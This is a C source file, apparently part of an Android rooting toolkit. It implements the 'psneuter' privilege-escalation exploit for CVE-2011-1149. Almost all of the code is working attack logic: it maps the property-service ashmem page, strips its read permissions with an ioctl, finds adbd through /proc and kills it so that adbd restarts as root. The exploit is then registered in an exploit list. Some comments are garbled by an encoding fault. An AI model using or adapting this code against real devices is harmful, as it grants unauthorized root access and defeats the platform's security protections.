/*
 * Copyright (C) 2009 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 *
 */
#include <android/log.h>
#include <string.h>
#include <jni.h>
#include "log.h"
#include "exploit.h"

//#define TAG   "ToRoot"
//#define	LOGI(...)  __android_log_print(ANDROID_LOG_INFO,TAG,__VA_ARGS__)



// psneuter.c, written by scotty2.

// neuter the android property service.

// ashmem allows us to restrict permissions for a page further, but not relax them.
// adb relies on the ability to read ro.secure to know whether to drop its privileges or not;
// if it can't read the ro.secure property (because perhaps it couldn't map the ashmem page... :)
// then it will come up as root under the assumption that ro.secure is off.
// this will have the unfortunate side effect of rendering any of the bionic userspace that relies on the property
// service and things like dns broken.
// thus, we will want to use this, see if we can fix the misc partition, and downgrade the firmware as a whole to something more root friendly.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <linux/ioctl.h>
#include <signal.h>
#include <unistd.h>
#include <fcntl.h>
#include <dirent.h>
#include <stdint.h>

#define ASHMEM_NAME_LEN         256
#define __ASHMEMIOC             0x77
#define ASHMEM_SET_NAME         _IOW(__ASHMEMIOC, 1, char[ASHMEM_NAME_LEN])
#define ASHMEM_GET_NAME         _IOR(__ASHMEMIOC, 2, char[ASHMEM_NAME_LEN])
#define ASHMEM_SET_SIZE         _IOW(__ASHMEMIOC, 3, size_t)
#define ASHMEM_GET_SIZE         _IO(__ASHMEMIOC, 4)
#define ASHMEM_SET_PROT_MASK    _IOW(__ASHMEMIOC, 5, unsigned long)
#define ASHMEM_GET_PROT_MASK    _IO(__ASHMEMIOC, 6)
#define ASHMEM_PIN              _IOW(__ASHMEMIOC, 7, struct ashmem_pin)
#define ASHMEM_UNPIN            _IOW(__ASHMEMIOC, 8, struct ashmem_pin)
#define ASHMEM_GET_PIN_STATUS   _IO(__ASHMEMIOC, 9)
#define ASHMEM_PURGE_ALL_CACHES _IO(__ASHMEMIOC, 10)


/**
 * return 0 means success.
 *
 * */
int toRoot_cve_2011_1149()
{
    char *workspace;
    char *fdStr;
    char *szStr;

    char *ppage;

    int fd;
    long sz;

    DIR *dir;
    struct dirent *dent;
    char cmdlinefile[PATH_MAX];
    char cmdline[PATH_MAX];

    pid_t adbdpid = 0;

    //��ȡ��������ANDROID_PROPERTY_WORKSPACE��ֵ������9,32768�����Ϊ9����СΪ32768���ڴ�����
    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stderr, 0, _IONBF, 0);

    workspace = getenv("ANDROID_PROPERTY_WORKSPACE");

    if(!workspace)
    {
    	LOGV("Couldn't get workspace.\n");
    	//fprintf(stderr, "Couldn't get workspace.\n");
    	//exit(1);
    	return 1;
    }

    fdStr = workspace;
    if(strstr(workspace, ","))
    	*(strstr(workspace, ",")) = 0;
    else
    {
    	LOGV("Incorrect format of ANDROID_PROPERTY_WORKSPACE environment variable?\n");
    	//fprintf(stderr, "Incorrect format of ANDROID_PROPERTY_WORKSPACE environment variable?\n");
    	//exit(1);
    	return 2;
    }
    szStr = fdStr + strlen(fdStr) + 1;

    fd = atoi(fdStr);
    sz = atol(szStr);

    //ʹ��mmap����ANDROID_PROPERTY_WORKSPACE��ֵӳ�䵽ppage
    if((ppage = mmap(NULL, sz, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED)
    {
    	LOGV("mmap() failed. %s\n", strerror(errno));
    	fprintf(stderr, "mmap() failed. %s\n", strerror(errno));
    	//exit(1);
    	return 3;
    }

    //ʹ��ioctl��Ashmem�����ڴ�����Ϊ���ɶ�д��
    if(ioctl(fd, ASHMEM_SET_PROT_MASK, 0))
    {
    	LOGV("Failed to set prot mask \n");
    	//fprintf(stderr, "Failed to set prot mask (%s)\n", strerror(errno));
    	//exit(1);
    	return 4;
    }

    LOGV("property service neutered.\n");
    LOGV("killing adbd. (should restart in a second or two)\n");

    // now kill adbd.
    //ɱ����ǰ��adbd��̣��ȴ�init�������adbd��̡�
    //������adbd��̶�ȡpropertyʧ�ܣ���������²�������setuid������shell�û�
    dir = opendir("/proc");
    if(!dir)
    {
        LOGV("Failed to open /proc? kill adbd manually... somehow\n");
    	//fprintf(stderr, "Failed to open /proc? kill adbd manually... somehow\n");
    	//exit(1);
        return 5;
    }
    while((dent = readdir(dir)))
	{
		if(strspn(dent->d_name, "0123456789") == strlen(dent->d_name))
		{
			// pid dir
			strcpy(cmdlinefile, "/proc/");
			strcat(cmdlinefile, dent->d_name);
			strcat(cmdlinefile, "/cmdline");
			if((fd = open(cmdlinefile, O_RDONLY)) < 0)
			{
				LOGV("Failed to open cmdline for pid \n");
				//fprintf(stderr, "Failed to open cmdline for pid %s\n", dent->d_name);
				continue;
			}
			if(read(fd, cmdline, PATH_MAX) < 0)
			{
				LOGV("Failed to read cmdline for pid \n");
				//fprintf(stderr, "Failed to read cmdline for pid %s\n", dent->d_name);
				close(fd);
			continue;
			}
			close(fd);
			//	    printf("cmdline: %s\n", cmdline);
			if(!strcmp(cmdline, "/sbin/adbd"))
			{
				// we got it.
				adbdpid = atoi(dent->d_name);
				break;
			}
		}
    }

    if(!adbdpid)
    {
    	LOGV("Failed to find adbd pid :(\n");
    	//fprintf(stderr, "Failed to find adbd pid :(\n");
    	//exit(1);
    	return 6;
    }

    if(kill(adbdpid, SIGTERM))
    {
    	LOGV("Failed to kill adbd (%s)\n", strerror(errno));
    	//fprintf(stderr, "Failed to kill adbd (%s)\n", strerror(errno));
    	//exit(1);
    	return 7;
    }
    else
    {
    	LOGV("Root Success! \n");
    }
    return 0;
}


exploit_t EXPLOIT_cve_2011_1149_1 = {
    .name = "cve_2011_1149_1",
    .call_direct = toRoot_cve_2011_1149,
};


//jboolean
//Java_com_example_jniroot_JniRoot_rootFromJNI( JNIEnv* env,
//                                                  jobject thiz )
//{
//	LOGI("+++++++++++++Root Start...");
//	toRoot();
//	LOGI("Root End...");
//	if (getuid() == 0)
//	{
//		return JNI_TRUE;
//		LOGI("Root Success!!!");
//	}
//	else
//	{
//		LOGI("Root Fause...");
//		return JNI_FALSE;
//	}
//}


void exploit_init(exploit_t **list) {
    int i = 0;
    int size = 0;
    exploit_t *exp = 0, *tmp;

    ADDEXP(cve_2011_1149_1);

//    switch (g_type) {
//
//    case S_cve_2011_1149_1:
//        ADDEXP(cve_2011_1149_1);
//       	break;
//
//    default:
//    	break;
//    }

    *list = exp;
}
